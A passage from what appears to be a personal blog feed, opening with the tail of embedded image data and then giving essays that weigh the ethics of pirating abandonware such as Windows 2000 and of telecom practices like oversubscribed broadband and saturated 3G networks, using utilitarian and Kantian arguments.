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" /></p>
<p>With that, I wish to move on to the second ethical concern regarding the
transition from software to abandonware. Is it ethical to pirate
abandonware? For this argument, I wish to focus on abandonware for which
the manufacturing company is still in business today and has not decided
to make the software freely available to the public. The reason being,
if the company is out of business, the case becomes very clear that the
pirating the software would only bring about benefits as there are
simply no costs to consider using a utilitarianism approach. Using a
Kantian approach, we are not using anyone as a means to an end since the
entity which owns the copyright has ceased to exist. Lastly, if the
software is made freely available to the public, it is now classified as
freeware and is thus out of the scope specified. Back to the topic, the
ethicality of pirating abandonware which is still owned by a company is
interesting as the software is still under copyright protection and thus
it is illegal in most cases. Nevertheless, I wish to explore if the law
in this instance reflects the ethicality of the situation.</p>
<p>The software I would like to examine is Windows 2000. Windows 2000 was
released at the turn of the millennium and support for the product
ceased in 2010<sup>7</sup>.Therefore, as of now, Microsoft provides no
service to anyone that is currently using Windows 2000 and incurs no
cost in further development or maintenance of the software. However, the
software is still under copyright in most countries with copyright only
expiring only in 2070 to 2120 depending on individual countries.</p>
<p>Using the utilitarian method to approach this issue, the benefits of
pirating the product are that it allows many poorer countries access to
computers and the internet at a cheaper price as a greater proportion of
the budget can now be channelled into provision of the hardware. While
it lacks many features, it is still able to handle basic tasks such as
web browsing and data entry and storage which would be invaluable to
these users. It also benefits computing students who can now obtain a
copy to learn more about how an operating system is written through
reverse engineering. However, detractors might argue that Microsoft is a
losing party as it has spent a lot on the development of the software
and thus it needs to recoup those losses. It is worth pointing out
though that Microsoft has stopped offering these products for sale many
years ago, therefore, it has no means to recoup any costs even if the
software was not pirated. Since support for the product has also ceased,
Microsoft also does not face additional costs if one additional person
were to use the software. In short, the benefits outweigh the cost
because even if there was cost involved, Microsoft is making no attempts
to recover it.</p>
<p>Using the second formulation of Kantian ethics however, it is unethical
because we are using Microsoft as a means to an end. In order to get
access to their software without paying, we are pirating a copy.
However, the limitation to using Kantian ethics is that such a statement
might not fully represent the various aspects of the situation. It does
not take into the account the fact that the piracy is meant for
educational purposes, nor does it take into account the fact that the
company is not in any way harmed by such an action. Nevertheless some
might argue that a certain group of users might find that Windows 2000
might be able to completely satisfy their computing requirements and
therefore see no purpose in buying the current version of Windows. My
response to that is the group of users is very small at best, and the
effect is marginal. In fact, Microsoft might even benefit from such an
action because it increases its market share and awareness, quite
possibly, it might even influence these users to purchase Microsoft
products in the future.</p>
<p>In summary, although piracy of abandonware is largely illegal in most
countries, I believe that the practice is not unethical due to the
arguments presented above. In fact, the "victim" of such a piracy might
even benefit in certain cases. Fortunately, most companies do realise
that and even though they have the right to prosecute users who pirate
abandonware, they seldom do so in reality.</p>
<p>Abandonware picture from
<a class="reference external" href="http://devilsworkshop.org/2-best-places-to-find-abandonware-ie-abandoned-softwares-games-tools-etc/">http://devilsworkshop.org/2-best-places-to-find-abandonware-ie-abandoned-softwares-games-tools-etc/</a></p>
<ol class="arabic simple">
<li>What is Abandonware? - Definition from Technopedia.com</li>
</ol>
<p>Retrieved from <a class="reference external" href="http://www.techopedia.com/definition/10396/abandonware">http://www.techopedia.com/definition/10396/abandonware</a></p>
<p>2. Perrault, William D. Jr. & E. Jerome McCarthy, Essentials of
Marketing, 7th Edition, 1997. Chicago: Richard D. Irwin Company</p>
<p>3. Microsoft Haven't Fixed Year Old IPv6 DoS Vulnerability in Windows |
LIVE HACKING</p>
<p>Retrieved from
<a class="reference external" href="http://www.livehacking.com/2011/05/04/microsoft-havent-fixed-year-old-ipv6-dos-vulnerability-in-windows/">http://www.livehacking.com/2011/05/04/microsoft-havent-fixed-year-old-ipv6-dos-vulnerability-in-windows/</a></p>
<p>4. <a class="reference external" href="http://www.mh-sec.de/downloads/mh-RA_flooding_CVE-2010-multiple.txt">http://www.mh-sec.de/downloads/mh-RA_flooding_CVE-2010-multiple.txt</a>
- marc heuse - it-security consulting</p>
<p>Retrieved from
<a class="reference external" href="http://www.mh-sec.de/downloads/mh-RA_flooding_CVE-2010-multiple.txt">http://www.mh-sec.de/downloads/mh-RA_flooding_CVE-2010-multiple.txt</a></p>
<p>5. Microsoft Wins 'Most Ethical' Award -- Google, Facebook, Apple Don't
Make The List</p>
<p>Retrieved from
<a class="reference external" href="http://www.huffingtonpost.com/2011/03/17/microsoft-most-ethical-company_n_837003.html">http://www.huffingtonpost.com/2011/03/17/microsoft-most-ethical-company_n_837003.html</a></p>
<ol class="arabic simple" start="6">
<li>Code of ethics - Association for Computing Machinery</li>
</ol>
<p>Retrieved from <a class="reference external" href="http://www.acm.org/about/code-of-ethics">http://www.acm.org/about/code-of-ethics</a></p>
<ol class="arabic simple" start="7">
<li>Microsoft Product Lifecycle Search</li>
</ol>
<p>Retrieved from
<a class="reference external" href="http://support.microsoft.com/lifecycle/search/?alpha=windows+2000">http://support.microsoft.com/lifecycle/search/?alpha=windows+2000</a></p>
Ethicality of certain practices in the telecommunication industry2012-09-20T10:06:00+08:002012-09-20T10:06:00+08:00Benjamin Limtag:limbenjamin.com,2012-09-20:/articles/ethicality-of-certain-practices-in-the-telecommunication-industry.html<p>Disclaimer: My previous employer is a subsidiary of SingTel and I have
vested interest in SingTel since I own 0.00000000001% of SingTel.
Nevertheless, I will try to be as impartial as possible.</p>
<p><img alt="image0" src="http://shanghaiist.com/attachments/tiffanyap/broadband.jpg" /></p>
<p>Photo courtesy of <a class="reference external" href="http://shanghaiist.com">http://shanghaiist.com</a></p>
</p><p>The first issue I would like to examine is the ethicality …</p><p>Disclaimer: My previous employer is a subsidiary of SingTel and I have
vested interest in SingTel since I own 0.00000000001% of SingTel.
Nevertheless, I will try to be as impartial as possible.</p>
<p><img alt="image0" src="http://shanghaiist.com/attachments/tiffanyap/broadband.jpg" /></p>
<p>Photo courtesy of <a class="reference external" href="http://shanghaiist.com">http://shanghaiist.com</a></p>
</p><p>The first issue I would like to examine is the ethicality of
misrepresentation of broadband speeds. Most people would encounter such
a situation when despite signing up for 6Mbps broadband, you discover
that your downloads never inch past 500KBps. I know that there are a
myriad of reasons such as overhead of TCP protocol, bottleneck on the
server side and the most obvious one that people don’t seem to realise.
ISPs use Megabits/sec as an indicator while your downloads use
KiloBytes/sec or MegaBytes/sec as an indicator. There are 8 bits in a
byte so your actual download speed is actually 4000Kilobits/sec of 4
Megabits/sec, 66% of advertised speed.</p>
<p>Anyway, I will not be focusing on those issues as those are beyond the
control of the ISP. Instead I will be focusing on the issue of ISPs
knowingly offering less than advertised broadband speed. What happens
when you sign up for a 6Mbps ADSL connection is that you get the 6Mbps
connection all the way to an intermediate point known as a DSLAM. The
DSLAM aggregates all the traffic and transmit it in 1 single pipe to the
exchange. Therefore, during peak periods, the bandwidth of the DSLAM
might not be sufficient to handle the traffic, therefore resulting in a
bottleneck. Assuming that the DSLAM can handle 600Mbps of traffic, is it
ethical then to connect more than 100 subscribers to the same DSLAM?</p>
<p>Using utilitarian ethics, the ISP will definitely benefit as they are
able to cram more subscribers into current infrastructure, thus the cost
of providing an additional subscriber with access is almost zero. Would
the subscribers benefit? My opinion is yes. Since not everyone is using
the full 6Mbps of the connection 24/7, subscribers generally have
optimal connection most of the time except during peak hours, when
connection speed might drop. In return, the ISP is actually charging us
a far lower price than the true cost of providing 6Mbps internet. Go
look up the cost of a dedicated lease line if you don’t believe me. A
dedicated line would guarantee the full 6Mbps any time of the day since
you are connected directly to the exchange and not sharing the line with
anybody. Therefore, according to utilitarian ethics, such a practice is
ethical since both parties benefit from such an arrangement.</p>
<p>From the Kantian point of view, it is unethical if we were to apply the
first formulation. If everyone lied, no one would trust anyone else and
therefore it would be impossible to lie, which would contradict the
original statement. Using the second formulation, we discover that the
ISP is treating the subscribers as a means to an end, using subscribers
for their own profit and not fulfilling their part of the agreement.
Therefore, it is unethical if analysed using Kantian ethics.</p>
<p>Using the ACM code of conduct to evaluate the issue, we find that the
issue contravenes clause 1.3 but supports clause 2.1. Such an action is
not honest or trustworthy as it involves deceiving the subscriber by
providing less than advertised broadband speed during peak periods.
However, through the deceit, the ISP is able to provide customers with a
higher quality connection at a lower price, therefore it is in support
of clause 2.1 which advocates highest quality and effectiveness in your
products.</p>
<p>Such is the limitation of Kantian ethics; it allows for no exceptions to
be made to its perfect duties regardless of circumstances. Even though
the ISP has deceived its subscribers, the subscribers are actually
benefiting since they are able to get a better connection most of the
time at a much lower price. If the ISP had not done so, it would either
have had to offer a much lower speed for the same price. This would
result in huge underutilisation of the infrastructure during non-peak
hours, during which subscribers would still be capped by their low
download speeds despite there being additional capacity on the network.</p>
<p>As for me, I have learnt to schedule heavy usage during non-peak periods
and am glad to have light users subsidise the cost of providing me with
a good internet connection. So far, I have not experienced problems with
basic browsing during peak periods as the ISPs has set into place QoS
filters that prioritise web traffic over P2P downloads. The complainers
are usually the ones who choose to download during peak periods. Such
situations can easily be avoided with a little time management. If you
do however insist on having no less than the speed you paid for, feel
free to pay the true costs of such a connection by subscribing for a
dedicated line, the ISPs even provide a Service Level Agreement(SLA), so
technically you could sue them for compensation if your connection does
meet the standards specified. As for me a shared connection is enough
for my needs.</p>
<p>In short, the issue is ethical if we analyse the outcome but unethical
if we analyse the intentions. Nevertheless, I believe that since
subscribers benefit even though they were deceived, the end outcome is
still positive.</p>
<p><img alt="image1" src="http://s231.photobucket.com/albums/ee248/msanto/Tech/CellPhoneTower.jpg" /></p>
<p>Photo courtesy of hothardware.com</p>
</p><p>The next issue I would like to analyse is the ethicality of over
utilisation of 3G networks. Most of us are familiar with the situation
especially in recent years before the introduction of 4G, when 3G speeds
all over the island practically slowed to a crawl. Is it ethical for
Telcos to continue to sign up new subscribers for these networks without
upgrading the infrastructure to support a greater number of connections?</p>
<p>Analysing the issue from a business standpoint, it is definitely a bad
business decision to invest in 3G infrastructure especially with 4G
looming around the corner, as it is soon to be obsolete and the rate of
returns on investment is very likely to be low. It also increases the
disincentives for subscribers to switch over to the 4G network since 3G
networks are perfectly capable of satisfying their requirements.
Nevertheless, the question exists if Telcos should still continue to
sign up subscribers. Since the cost of providing service to 1 additional
user is marginal, there is no incentive for Telcos not to sign up new
subscribers. However, since the networks are very likely to be
oversaturated, subscribers may be experiencing speeds that are far less
than advertised.</p>
<p>From the utilitarian perspective, the Telcos stand to benefit from the
increase in revenue generated from the increase in number of
subscribers. The subscribers may gripe about the issue but often have
little choice as the problem may be rampant among the 3 Telcos. In
addition, subscribers are often tied into contracts of 1-2 years,
therefore it might not be possible for them to switch Telcos
immediately. However, this benefit comes at a cost to the subscribers.
They have to endure sub-par service standards as a result. In such a
case, I believe the costs of intermittent internet access outweigh the
savings enjoyed by the Telcos. Such an action is thus unethical when
analysed using the utilitarian methodology.</p>
<p>One limitation of the utilitarian method is that it only takes into
account the total good, but does not factor in unequal distribution of
the benefits. In the case above, while the Telcos benefit a lot from
such an action, the subscribers on the other hand, experience large
amount of inconvenience and frustration. This does not seem fair as the
subscribers are the ones who have paid the Telcos for the provision of
the service. It is also extremely difficult to quantify the costs of the
poor 3G speeds for the subscriber, as such it is extremely difficult to
make an accurate prediction on the actual costs incurred.</p>
<p>Using the Kantian approach, we can conclude that the action is unethical
using the second formulation. The Telcos are exploiting the subscribers
and using them as a means to generate profit while not providing them
with an acceptable standard of service. Using the first formulation, we
can derive that if all Telcos were to oversaturate their 3G networks,
subscribers might get so annoyed that they choose to forgo 3G data. In
such a case, it would be impossible to oversaturate the infrastructure
since there are no longer any subscribers, contradicting the first
statement. Nevertheless, such a statement is rather extreme. In reality,
while some subscribers might choose to forgo 3G altogether, there are
others who would not be able to live without it. As a result,
subscription for 3G might dip slightly, just enough for the
infrastructure to be able to handle. This would once again contradict
the first statement as it would prove impossible to oversaturate the
infrastructure</p>
<p>Therefore, using both the utilitarian and the Kantian method, I have
deduced that oversaturation of 3G infrastructure in a bid to save costs
is unethical. In reality however, Telcos might still choose the
unethical option due to profit motives. As highlighted earlier, the
Telcos do have an edge over the subscribers since subscribers are often
bound by their contracts. In addition, if all the Telcos adopt the same
strategy, subscribers often have no choice but to accept their terms or
go without 3G data.</p>